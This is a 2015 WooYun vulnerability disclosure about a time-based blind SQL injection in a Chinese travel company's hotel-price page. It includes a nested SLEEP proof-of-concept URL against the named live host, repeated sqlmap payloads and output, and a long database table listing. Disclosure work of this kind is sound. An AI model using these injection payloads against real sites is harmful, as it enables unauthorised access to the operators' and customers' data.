当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0114228

漏洞标题:广州市特网网络科技有限公司SQL注入(基于时间的盲注)

相关厂商:广州市特网网络科技有限公司

漏洞作者: hh2014

提交时间:2015-05-15 12:32

修复时间:2015-06-29 12:34

公开时间:2015-06-29 12:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-15: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-06-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

补充数据证明
广州市特网网络科技有限公司,成立于2003年。   广州市特网网络科技有限公司,公司总部设在中国广州在并在上海、广州、长沙、太原、成都、深圳等地设有分支机构。作为全国知名在线旅行机构,广州市特网网络科技有限公司整合了高效的互联网技术和先进电子资讯手段为全国用户提供酒店预订、会议接待、旅游线路预订、旅行指南等在线旅游服务。   广州市特网网络科技有限公司创办于2003年,经过多年发展于2009年进入全国订房网站十强。网站已在全国300多座大中型城市发展了近10000家2-5星级加盟酒店,拥有会员1,300,000万多名,月订房量达0.7万间夜。 公司宗旨:   为商务客户、散客与休闲客人提供快捷灵活、价格低廉、体贴周到又充满个性化的旅行服务 服务理念:   Convenient -快捷(服务人员做事利索,效率高)   Thorough -周到(为客户做一切可能做到的事)   Reliable -可靠(公司强大的实力,为客户办妥一切事情)   Intimate -亲切(体贴温柔的服务理念)   Professional -专业(专注订房逾7年,经验丰富)   Sincere -真诚(全心全意地为客户着想)

详细说明:

sql注入,基于时间的盲注

http://www.niuhuhu.com/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=*


参数hotelid存在基于时间的盲注
正常情况下执行

http://www.niuhuhu.com/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=1


看下情况

2.jpg


POC延迟16秒执行 两层select,在内层延迟8秒,两层执行延迟就是延迟16秒
poc:

http://www.niuhuhu.com/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(select(2)from(select(sleep(8)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/


看下情况

1.jpg


sqlmap跑下结果,需要用--no-cast参数
<code>sqlmap identified the following injection points with a total of 134 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
Database: travel_schema
[1529 tables]
+-------------------------------------------------+
| ACL_table |
| ANSWER |
| ANSWER_GROUP |
| ANSWER_GROUP_DETAIL |
| AccountXML1 |
| Administrator |
| Aircraft |
| Apply |
| Assigned_To |
| AuditableEvent |
| Author |
| BANNERDATA |
| BID |
| BOOKAUTHOR |
| BOOK_AUTHORS |
| BOOK_COPIES |
| BOOK_LOANS |
| BROWSE |
| BUYER |
| Booked_On |
| CE_table |
| COLLECT_SITE |
| CPG_bridge |
| CPG_categories |
| CPG_config |
| CPG_filetypes |
| CPG_usergroups |
| CPG_users |
| CUST_HIST |
| Campus |
| Can_Fly |
| Channel_Comment |
| Channel_Data |
| CheckType |
| ChemList |
| Chemicals |
| Class_Def_Table |
| Class_Display_Sequence |
| Classification |
| ClassificationNode |
| ClassificationScheme |
| ClientsTable |
| Coefficients |
| Collection |
| Component |
| ConsultantsTable |
| Continent |
| Contributor |
| CurrentUsers |
| CustomerCards |
| DATA_ORG |
| DC |
| DC_Data |
| DEMO_ASSIGNMENTS |
| DEMO_PROJECTS |
| DEPT |
| DIM_TYPE |
| DM |
| DOCUMENT_FIELDS |
| DSObject_table |
| DSProp_table |
| DUMMY |
| DWE_Corr_Sets |
| DWE_Corr_Tokens |
| DWE_Delay_Timers |
| DWE_Internal_Task_Attributes |
| DWE_Internal_WF_Attributes |
| DWE_Max_Id |
| DWE_Meta_Data |
| DWE_Org_Resources |
| DWE_Organizations |
| DWE_Predecessors |
| DWE_Resource_Attributes |
| DWE_Resource_Roles |
| DWE_Resources |
| DWE_Roles |
| DWE_Subscriptions |
| DWE_Task_Attributes |
| DWE_Tasks |
| DWE_WF_Attributes |
| DWE_Workflow_Documents |
| DWE_Workflows |
| D_Abbreviation |
| D_Comment |
| D_Format |
| D_Format_Data |
| D_Unit |
| DatabaseInfo |
| Decimation |
| Defect |
| Departure |
| Description |
| Descriptions |
| Descriptions_Languages |
| Descriptions_Regions |
| Descriptions_Scripts |
| Descriptions_Variants |
| Desert |
| Device |
| ENROLLMENT |
| EPIXEIRISI |
| ERDESIGNER_VERSION_ID |
| Editor |
| EmailAddress |
| Equipment |
| EthnicGroup |
| ExternalIdentifier |
| ExternalLink |
| Extlangs |
| ExtrinsicObject |
| FORM |
| FORM_QUESTION |
| Factory_Master |
| Factory_Output |
| FindCriteria |
| Flight |
| FoundLists |
| FoundThumbs |
| GDirectedRoute |
| GLI_profiles |
| GRouteDetail |
| Gallery |
| GalleryThumb |
| IDIOTIS |
| INSTITUTE |
| InstanceStringTable |
| Island |
| KARTA |
| Keyword |
| LIBRARY_BRANCH |
| LINEITEM |
| Lake |
| LimitTest2 |
| Link_table |
| Linkdesc_table |
| MEMBER |
| MOMENT |
| MetadataFieldRegistry |
| MetadataSchemaRegistry |
| MetadataValue |
| Model |
| MonitorStatus |
| Mountain |
| MountainOnIsland |
| Name |
| NextID_table |
| ORDERLINES |
| ORDERSTATUS |
| Offices |
| OperationStatus |
| PN |
| PN_Data |
| POINT |
| POINT_SET |
| PREFIX_access |
| PREFIX_category_group |
| PREFIX_configuration |
| PREFIX_customer_group |
| PREFIX_group |
| PREFIX_group_lang |
| PREFIX_order_return_state |
| PREFIX_order_return_state_lang |
| PREFIX_product_attribute_image |
| PREFIX_search_engine |
| PREFIX_tab |
| PREFIX_tab_lang |
| PREFIX_timezone |
| PROFILE |
| PROJECT |
| PS_DMK |
| PUBLISHER |
| PZ |
| PZ_Data |
| Pilot |
| Plane |
| Poles_Zeros |
| Politics |
| Polynomial |
| Prefixes |
| Priority |
| ProjectsTable |
| PropColumnMap |
| Propdesc_table |
| Province |
| Publication |
| Purchases |
| QRTZ_BLOB_TRIGGERS |
| QRTZ_CALENDARS |
| QRTZ_CRON_TRIGGERS |
| QRTZ_FIRED_TRIGGERS |
| QRTZ_JOB_DETAILS |
| QRTZ_LOCKS |
| QRTZ_PAUSED_TRIGGER_GRPS |
| QRTZ_SCHEDULER_STATE |
| QRTZ_SIMPLE_TRIGGERS |
| QRTZ_TRIGGERS |
| R1IDF |
| R1Length |
| R1Size |
| R1Sum |
| R1TF |
| R1Weights |
| R2IDF |
| R2Length |
| R2ODTMAP |
| R2Size |
| R2Sum |
| R2TF |
| R2Weights |
| RATING |
| RECORD |
| REORDER |
| ROLE_PERM |
| RegistryPackage |
| S2ODTMAP |
| SALGRADE |
| SCALE |
| SCRIPT |
| SELLER |
| SEQUENCE |
| SIGNON |
| SPJ |
| SQLDATES |
| SUPPORT_INCIDENTS |
| SYNALLAGI |
| SalesReps |
| SchemaInfo |
| Sensitivity |
| Service |
| ServiceBinding |
| Severity |
| Simple_Response |
| Slot |
| SpecialityTable |
| SpecificationLink |
| StateType |
| Station_Comment |
| Station_Data |
| StringTable |
| THOT_ALPHA |
| THOT_CATEGORY |
| THOT_CONCEPT |
| THOT_DEEP |
| THOT_LANGUAGE |
| THOT_SOURCE |
| THOT_SUB_MENU |
| THOT_TARGET |
| THOT_THEME |
| THOT_TYPE |
| THOT_YEAR |
| TIL_IDIOTON |
| TelephoneNumber |
| Thumbnail |
| ThumbnailKeyword |
| TypeRule |
| UM_PERMISSIONS |
| UM_ROLES |
| UM_ROLE_ATTRIBUTES |
| UM_ROLE_PERMISSIONS |
| UM_USERS |
| UM_USER_ATTRIBUTES |
| UM_USER_PERMISSIONS |
| UM_USER_ROLES |
| USER_GROUP |
| UsageDescription |
| UsageParameter |
| UserCapability |
| UserFields |
| UserFieldsInfo |
| UserRole |
| UserType |
| User_ |
| Variants |
| Volume |
| WROTE |
| WidgetDescriptions |
| WidgetPrices |
| WidgetReferences |
| Widgets |
| ZENTRACK_VARFIELD |
| ZENTRACK_VARFIELD_IDX |
| Action |
| GROUP |
| POSITION |
| Parameter |
| Path |
| SPACE |
| Table |
| Time |
| catalog |
| domain |
| keys |
| language |
| last |
| order |
| section |
| session |
| size |
| transaction |
| translation |
| user |
| abstract |
| acc_trans |
| accessTable |
| access_control |
| account |
| account_level |
| account_log |
| account_permissions |
| account_temp |
| account_transaction |
| accounts |
| accountuser |
| action_attribute |
| action_element |
| actions |
| activity |
| ad_locales |
| adblocks |
| address |
| addresses |
| admin |
| admin_logs |
| admins |
| ads |
| adv |
| agent |
| agent_specialty |
| aggtest |
| alarms |
| album |
| alerts |
| alias |
| allocation |
| alltypes |
| answerOption |
| ap |
| apartments |
| appVersions |
| app_user |
| applications |
| ar |
| archive |
| archtypes |
| area |
| areas |
| array_data |
| array_probe |
| array_test |
| article |
| artifact |
| artist |
| ask |
| assembly |
| assignment |
| association |
| attributeCategory |
| attrs |
| audio |
| audit |
| audittrail |
| authors |
| auto_id_tests |
| backgroundJob_table |
| badspy |
| basePlusCommissionEmployees |
| belong |
| binaries |
| biosample |
| bkp_Item |
| bkp_ItemPresentation |
| bkp_ItemReference |
| bkp_ItemReplication |
| bkp_ItemResource |
| bkp_RS_Clusters |
| bkp_RS_Servers |
| bkp_ResourceFolder |
| bkp_String |
| bldg_types |
| blobs |
| bombing |
| book |
| bookings |
| books |
| booleantests |
| borders |
| borrower |
| branch |
| bugs |
| builds |
| business |
| calendar |
| cameFromTable |
| cart |
| cart_table |
| catalogue |
| categories |
| categories_posts |
| category |
| categoryNames |
| categorylinks |
| cc_config |
| cdv_allele_curated_allele |
| cdv_curated_allele |
| cdv_curation |
| cdv_map_feature |
| cdv_marker |
| cdv_passport_group |
| cdv_passport_set |
| cdv_reason |
| cell_line |
| certificates |
| changePrix |
| changeTva |
| channelitems |
| channels |
| chart |
| checksum_history |
| checksum_results |
| child_config_traffic_selector |
| child_configs |
| child_test |
| chip_layout |
| chromosomes |
| cia |
| cities |
| city |
| client |
| clients |
| clubs |
| cmAvailableServiceBinding |
| cmAvailableServiceBindingSiteNodeTypeDefinition |
| cmContent |
| cmContentRelation |
| cmContentTypeDefinition |
| cmContentVersion |
| cmContentVersionDigitalAsset |
| cmDigitalAsset |
| cmEvent |
| cmLanguage |
| cmPublication |
| cmPublicationDetail |
| cmQualifyer |
| cmRepository |
| cmRepositoryContentTypeDefinition |
| cmRepositoryLanguage |
| cmRole |
| cmServiceBinding |
| cmServiceDefinition |
| cmServiceDefinitionAvailableServiceBinding |
| cmSiteNode |
| cmSiteNodeTypeDefinition |
| cmSiteNodeVersion |
| cmSystemUser |
| cmSystemUserRole |
| cmTransactionHistory |
| cmts |
| cmts_track |
| cocktail |
| cocktail_lokal |
| cocktail_person |
| collection_item_count |
| colnametests |
| color |
| colour |
| columns_priv |
| comboboxes |
| combustible |
| combustiblebois |
| command |
| commande |
| comments |
| commissionEmployees |
| community_item_count |
| companies |
| company |
| computers |
| conducts |
| conferences |
| config |
| config_seq |
| configlist |
| configuration |
| configuratore |
| connectorassocs |
| connectorlinks |
| connectormacassocs |
| connectorswitches |
| contact |
| contacts |
| control |
| copyrights |
| copytest |
| correo |
| countries |
| country |
| country_diseases |
| country_partner |
| coupon |
| course |
| course_section |
| courses |
| credential |
| credenziali |
| credit |
| creditcards |
| curso |
| cust_order |
| customer |
| customers |
| customertax |
| customurl |
| cv_countries |
| cv_country_synonyms |
| cv_cropping_system |
| cv_crops |
| cv_pests_diseases |
| cv_soil |
| data |
| data_set_association |
| datasets |
| datasources |
| db |
| defaultinsertid |
| defaults |
| defertest |
| delivery |
| delivery_quality |
| department |
| departments |
| dependent |
| depositor |
| dept_location |
| dept_locations |
| derived_types |
| detail_table |
| devel_logsql |
| developers |
| developers_projects |
| dictionary |
| distance |
| div_aa_annotation |
| div_accession_collecting |
| div_allele |
| div_allele_assay |
| div_annotation_type |
| div_experiment |
| div_generation |
| div_locality |
| div_obs_unit |
| div_obs_unit_sample |
| div_passport |
| div_poly_type |
| div_scoring_tech_type |
| div_statistic_type |
| div_stock |
| div_stock_parent |
| div_synonym |
| div_taxonomy |
| div_trait |
| div_trait_uom |
| div_treatment |
| div_treatment_uom |
| div_unit_of_measure |
| document |
| domain_info |
| dpt_trans |
| dtb_baseinfo |
| dtb_bat_order_daily |
| dtb_bat_order_daily_age |
| dtb_bat_order_daily_hour |
| dtb_bat_relate_products |
| dtb_best_products |
| dtb_bloc |
| dtb_blocposition |
| dtb_campaign |
| dtb_campaign_detail |
| dtb_category |
| dtb_category_count |
| dtb_category_total_count |
| dtb_class |
| dtb_classcategory |
| dtb_csv |
| dtb_csv_sql |
| dtb_customer |
| dtb_customer_mail_temp |
| dtb_customer_reading |
| dtb_deliv |
| dtb_delivfee |
| dtb_delivtime |
| dtb_kiyaku |
| dtb_mail_history |
| dtb_mailmaga_template |
| dtb_mailtemplate |
| dtb_member |
| dtb_news |
| dtb_order |
| dtb_order_detail |
| dtb_order_temp |
| dtb_other_deliv |
| dtb_pagelayout |
| dtb_payment |
| dtb_products |
| dtb_products_class |
| dtb_question |
| dtb_question_result |
| dtb_recommend_products |
| dtb_review |
| dtb_send_customer |
| dtb_send_history |
| dtb_table_comment |
| dtb_templates |
| dtb_update |
| dtb_user_regist |
| duptest |
| eco_da_biz_ge |
| economy |
| edge |
| egresado |
| egresadoxidiomaxhabilidad |
| email |
| emailinfo |
| emp |
| employee |
| employees |
| employer |
| encompasses |
| endpoints |
| enrolled |
| enrollments |
| enrolls |
| entity |
| entrants |
| equipment_type |
| equipment_type_seq |
| estudio_academico |
| event |
| evento |
| events |
| evidence |
| ew_gruppi |
| ew_menu |
| ew_moduli |
| ew_tabelle |
| ew_temi |
| ew_user |
| ewst_sessioni |
| exam |
| exchange |
| exchangerate |
| experiencia |
| experiment |
| experimental_data_set |
| expression |
| externallinks |
| extremes |
| ez_webstats_conf |
| ezcontentobject_trash |
| ezin_articles |
| ezin_authors |
| ezin_roles |
| ezin_sections |
| ezin_users |
| ezsearch_return_count_new |
| ezsearch_search_phrase_new |
| f_attributedefinition |
| f_attributedependencies |
| f_classtype |
| f_options |
| f_sequence |
| f_spatialcontext |
| f_spatialcontextgroup |
| facets |
| facilities |
| facture |
| faculty |
| federationApplicants |
| feedback |
| field |
| field_options |
| file_storage |
| filearchive |
| files |
| files_config |
| film |
| fk_test_has_fk |
| fk_test_has_pk |
| flow |
| foreigntest |
| foreigntest2 |
| form_data |
| form_data_archive |
| form_definition |
| form_definition_text |
| form_definition_version |
| form_definition_version_text |
| form_error |
| forum |
| forum_cat |
| forum_flag |
| forum_post |
| forum_report |
| forum_topic |
| forum_user |
| forum_user_activity |
| forum_user_stat |
| forum_vote |
| fournisseur |
| fournisseurType |
| fragment |
| framework_email |
| friend |
| friend2 |
| friend_statuses |
| friends |
| fruit |
| func |
| functions |
| funny_jokes |
| furniture |
| games |
| ganatlebe_ge |
| gearing |
| general_log |
| genres |
| genres_in_movies |
| geo_Desert |
| geo_Estuary |
| geo_Island |
| geo_Lake |
| geo_River |
| geo_Source |
| geo_mountain |
| geo_sea |
| gifi |
| gl |
| glas |
| globals |
| grandchild_test |
| grants |
| graphs |
| graphs_items |
| groups |
| grp |
| guava_group_assignments |
| guava_groups |
| guava_packages |
| guava_preferences |
| guava_role_assignments |
| guava_roles |
| guava_roleviews |
| guava_sysmodules |
| guava_theme_modules |
| guava_themes |
| guava_users |
| guava_views |
| habilidad |
| hardware |
| hashes |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| hero |
| hibernate_unique_key |
| history |
| history_str |
| hitcounter |
| honorsinfo |
| host |
| hostbenchmarks |
| hosts |
| hot_prop |
| hourlyEmployees |
| humanitaruli_ge |
| identification |
| identities |
| idioma |
| idiomaxegresado |
| ike_configs |
| image |
| imageAttribute |
| imageCategoryList |
| imageInfo |
| imagelinks |
| images |
| individual |
| ingredients |
| insertids |
| institution |
| insurance |
| intGroups |
| intUseringroup |
| intUsers |
| interactions |
| internetaddress |
| interwiki |
| inv_lines_seq |
| inventory |
| investigator |
| invite |
| invoice |
| invoices |
| invoices_seq |
| ipassocs |
| ipblocks |
| iplinks |
| ipmacassocs |
| ippaths |
| isDeleted_table |
| isMember |
| islandIn |
| item |
| item_master_seq |
| items |
| items_template |
| iuridiuli_ge |
| jforum_attach |
| jforum_categories |
| jforum_config |
| jforum_extension_groups |
| jforum_extensions |
| jforum_forums |
| jforum_groups |
| jforum_posts |
| jforum_privmsgs |
| jforum_quota_limit |
| jforum_ranks |
| jforum_roles |
| jforum_smilies |
| jforum_topics |
| jforum_users |
| jforum_vote_desc |
| jiveExtComponentConf |
| jiveGroup |
| jiveGroupProp |
| jiveGroupUser |
| jiveID |
| jiveOffline |
| jivePrivacyList |
| jivePrivate |
| jiveProperty |
| jiveRemoteServerConf |
| jiveRoster |
| jiveRosterGroups |
| jiveSASLAuthorized |
| jiveUser |
| jiveUserProp |
| jiveVCard |
| jiveVersion |
| job |
| job_history |
| job_title |
| jobs |
| jos_bannertrack |
| jos_categories |
| jos_components |
| jos_content_frontpage |
| jos_content_rating |
| jos_core_acl_aro |
| jos_core_acl_groups_aro_map |
| jos_messages |
| jos_modules_menu |
| jos_poll_data |
| jos_poll_menu |
| jos_polls |
| jos_sections |
| jos_stats_agents |
| jos_vm_category |
| jos_vm_coupons |
| jos_vm_export |
| jos_vm_manufacturer |
| jos_vm_order_status |
| jos_vm_order_user_info |
| jos_vm_orders |
| jos_vm_payment_method |
| jos_vm_product_download |
| jos_vm_product_mf_xref |
| jos_vm_product_reviews |
| jos_vm_product_type |
| jos_vm_product_type_parameter |
| jos_vm_shopper_vendor_xref |
| jos_vm_userfield_values |
| jos_vm_vendor |
| jos_vm_zone_shipping |
| journal |
| keyboards |
| knjiga |
| kultura_ge |
| langlinks |
| language_text |
| languages |
| lc_fields |
| leases |
| legacy_things |
| lending |
| librarian |
| licenses |
| ligneDeCommande |
| ligneDeFacture |
| line_items_seq |
| lines |
| links |
| liste_domaines |
| live_ge |
| loan |
| locale |
| located |
| locatedOn |
| location |
| locations |
| locus_data |
| log |
| log_fake_referers |
| logging |
| login |
| logtest |
| lokal |
| lookup |
| m_data |
| m_earnings |
| m_news |
| m_plans |
| m_type |
| m_users |
| m_users_acct |
| m_users_profile |
| m_with |
| macassocs |
| maclinks |
| macswitches |
| madewith |
| mailaddresses |
| mailbox |
| makemodel |
| manufacturer |
| marital_status |
| markers |
| master_table |
| math |
| maxcodcorreo |
| maxcodcurso |
| maxcodestudio |
| maxcodevento |
| maxcodexperiencia |
| maxcodtelefono |
| meals |
| media |
| medicalprocedure |
| melodies |
| members |
| members_networks |
| membership |
| menu |
| mergesWith |
| message_statuses |
| messages |
| metadata |
| mixins |
| mobile_menu |
| mobile_menu_text |
| moduleexecs |
| modules |
| monitoringi_ge |
| monthlabel |
| most_recent_checksum |
| movies |
| mtb_pref |
| mtb_zip |
| mucAffiliation |
| mucConversationLog |
| mucMember |
| mucRoom |
| mucRoomProp |
| mushroom_NBC |
| mushroom_NBC_class |
| mushroom_dataset |
| mushroom_test_results |
| mushroom_test_results_agg |
| mushroom_testset |
| mushroom_trainset |
| music_ge |
| mwuser |
| my_county |
| my_lake |
| my_poi |
| my_street |
| ndb_binlog_index |
| net_pm |
| networks |
| neuf |
| news |
| news_category |
| newsletter_queue |
| nodes |
| not_null_test |
| not_null_with_default_test |
| notes |
| nuke_gallery_categories |
| nuke_gallery_comments |
| nuke_gallery_media_class |
| nuke_gallery_media_types |
| nuke_gallery_pictures |
| nuke_gallery_template_types |
| nulltest |
| numedia |
| object |
| object_types |
| objectcache |
| oc |
| occasion |
| odetails |
| oe |
| officer |
| oidtest |
| oldimage |
| operation |
| order_line |
| order_source |
| orderitems |
| orders |
| ordreReparation |
| organization |
| organization_seq |
| organization_type_package_map |
| organizations |
| orgs |
| os |
| osc_categories |
| osc_categories_description |
| osc_manufacturers |
| osc_manufacturers_info |
| osc_products |
| osc_products_attributes |
| osc_products_attributes_download |
| osc_products_description |
| osc_products_images |
| osc_products_options |
| osc_products_options_values |
| osc_products_options_values_to_products_options |
| osc_products_to_categories |
| osc_reviews |
| osc_specials |
| ostypes |
| osvendors |
| outdoor_spaces |
| package |
| page |
| page_log_exclusion |
| page_restrictions |
| pagecontent |
| pagelinks |
| pages |
| parent_test |
| part |
| participate |
| partner |
| partof |
| parts |
| partscustomer |
| partsgroup |
| partstax |
| partsvendor |
| passwds |
| passwords |
| patient |
| pay |
| pay_melodies |
| payer |
| payload |
| payment |
| payments |
| peer_config_child_config |
| peer_configs |
| people |
| people_reg |
| permission |
| permissions |
| person |
| personnel |
| pg_ts_cfg |
| pg_ts_cfgmap |
| pg_ts_dict |
| phonelist |
| phones |
| photo |
| photoo |
| photos |
| phpbb_acl_options |
| phpbb_categories |
| phpbb_config |
| phpbb_forums |
| phpbb_groups |
| phpbb_points_config |
| phpbb_points_values |
| phpbb_posts |
| phpbb_posts_text |
| phpbb_ranks |
| phpbb_search_wordlist |
| phpbb_search_wordmatch |
| phpbb_smilies |
| phpbb_themes |
| phpbb_themes_name |
| phpbb_topics |
| phpbb_user_group |
| phpbb_users |
| physician |
| pictures |
| placex |
| platforms |
| plugin |
| plugin_sid |
| pma_bookmark |
| pma_column_info |
| pma_designer_coords |
| pma_history |
| pma_pdf_pages |
| pma_relation |
| pma_table_coords |
| pma_table_info |
| pma_tracking |
| po_seq |
| pokes |
| poll |
| pools |
| population |
| postaladdress |
| posts |
| powers |
| preferences |
| prereq |
| presence |
| pricegroup |
| primarytest |
| primarytest2 |
| priorities |
| problem |
| proc |
| procedure_biosample |
| procedure_data_set |
| procs_priv |
| product |
| product_category |
| product_colour_multi |
| product_font |
| product_font_multi |
| product_price |
| product_related |
| product_size_multi |
| product_type |
| production_multiple |
| production_wtype |
| products |
| produit |
| profession1 |
| profile_pictures |
| profiles |
| profiling |
| program |
| project_user_xref |
| projects |
| promotion |
| property |
| protocol |
| protocol_action |
| qrtz_job_listeners

漏洞证明:

<code>sqlmap identified the following injection points with a total of 134 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://www.niuhuhu.com:80/hotel/price?checkin=2015-5-13&checkout=2015-5-14&hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
---
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
Database: travel_schema
[1529 tables]
+-------------------------------------------------+
| ACL_table |
| ANSWER |
| ANSWER_GROUP |
| ANSWER_GROUP_DETAIL |
| AccountXML1 |
| Administrator |
| Aircraft |
| Apply |
| Assigned_To |
| AuditableEvent |
| Author |
| BANNERDATA |
| BID |
| BOOKAUTHOR |
| BOOK_AUTHORS |
| BOOK_COPIES |
| BOOK_LOANS |
| BROWSE |
| BUYER |
| Booked_On |
| CE_table |
| COLLECT_SITE |
| CPG_bridge |
| CPG_categories |
| CPG_config |
| CPG_filetypes |
| CPG_usergroups |
| CPG_users |
| CUST_HIST |
| Campus |
| Can_Fly |
| Channel_Comment |
| Channel_Data |
| CheckType |
| ChemList |
| Chemicals |
| Class_Def_Table |
| Class_Display_Sequence |
| Classification |
| ClassificationNode |
| ClassificationScheme |
| ClientsTable |
| Coefficients |
| Collection |
| Component |
| ConsultantsTable |
| Continent |
| Contributor |
| CurrentUsers |
| CustomerCards |
| DATA_ORG |
| DC |
| DC_Data |
| DEMO_ASSIGNMENTS |
| DEMO_PROJECTS |
| DEPT |
| DIM_TYPE |
| DM |
| DOCUMENT_FIELDS |
| DSObject_table |
| DSProp_table |
| DUMMY |
| DWE_Corr_Sets |
| DWE_Corr_Tokens |
| DWE_Delay_Timers |
| DWE_Internal_Task_Attributes |
| DWE_Internal_WF_Attributes |
| DWE_Max_Id |
| DWE_Meta_Data |
| DWE_Org_Resources |
| DWE_Organizations |
| DWE_Predecessors |
| DWE_Resource_Attributes |
| DWE_Resource_Roles |
| DWE_Resources |
| DWE_Roles |
| DWE_Subscriptions |
| DWE_Task_Attributes |
| DWE_Tasks |
| DWE_WF_Attributes |
| DWE_Workflow_Documents |
| DWE_Workflows |
| D_Abbreviation |
| D_Comment |
| D_Format |
| D_Format_Data |
| D_Unit |
| DatabaseInfo |
| Decimation |
| Defect |
| Departure |
| Description |
| Descriptions |
| Descriptions_Languages |
